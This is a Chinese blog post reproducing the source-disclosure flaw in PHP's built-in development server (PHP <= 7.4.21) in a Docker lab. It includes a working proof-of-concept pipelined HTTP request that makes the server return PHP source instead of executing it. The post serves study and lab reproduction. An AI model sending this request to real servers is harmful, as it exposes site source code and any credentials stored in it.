前言
前一段时间在看羊城杯wp里了解到了这个漏洞,觉得挺有意思尝试复现一下(
这里附上原漏洞地址PHP Development Server <= 7.4.21 - Remote Source Disclosurehttps://blog.projectdiscovery.io/php-http-server-source-disclosure/
版本
PHP<= 7 . 4 . 21
漏洞成因
通过php -S
开起的内置WEB服务器存在源码泄露漏洞,可以将PHP文件作为静态文件直接输出源码
这里直接给出POC
GET /phpinfo.php HTTP/1.1 //这里的phpinfo.php必须是存在的文件,也就是要读取源码的文件
Host: 192.168.xxx.xxx:xx
GET /Kawakaze HTTP/1.1 //这里的Kawakaze是不存在的文件
ps:这里一定要换行
这里我们稍微解释一下第一个GET和第二个GET的作用分别是什么
第一个GET后的/phpinfo.php是直接访问已存在的phpinfo.php文件(一般可以是访问index.php)
PHP源码中的php_cli_server_request_translate_vpath函数将请求的PHP文件的路径转换为文件系统上的完整路径。如果请求的文件是一个目录,它会检查是否存在索引文件,如index.php或 index.html,并使用其中一个文件的路径(如果找到的话)。这允许服务器响应请求提供正确的文件
而第二个GET后的/请求的是目录而不是文件。此PHP版本提供的代码包括一个检查,以确定请求的文件是应被视为静态文件还是作为PHP文件执行。这是通过检查文件的扩展名来完成的。如果扩展不是.php或.PHP,或者如果扩展名的长度不等于3,则该文件被视为静态文件,因此如果我们把第二个GET请求的内容改为类似1.txt的文件时,php源码将会被以静态文件的方式泄露(即直接访问获取)
漏洞复现
kali虚拟机下载docker
apt-get install docker.io
启动docker
service docker start
docker拉取PHP 7.4.21的镜像
docker pull php:7.4.21
运行镜像 将docker 的80端口映射到kali的8080端口
docker run -it -p 8080:80 4ad229e4e700 /bin/bash
创建phpinfo.php
echo "<?php phpinfo();?>" > phpinfo.php
启动php web server
php -S 0.0.0.0:80
访问192.168.xxx.xxx:8080 //kali的地址
ok开始抓包,发送到repeater模块
PS:一定能要关闭自动更新Content-Length
写入payload
发送,成功读取到phpinfo.php的源码
参考文章
【漏洞复现】php5.5.45-8.0.2任意文件读取 - FreeBuf网络安全行业门户https://www.freebuf.com/vuls/359359.html
PHP<=7.4.21 Development Server源码泄露漏洞 (buaq.net)https://buaq.net/go-147962.html
发表评论 取消回复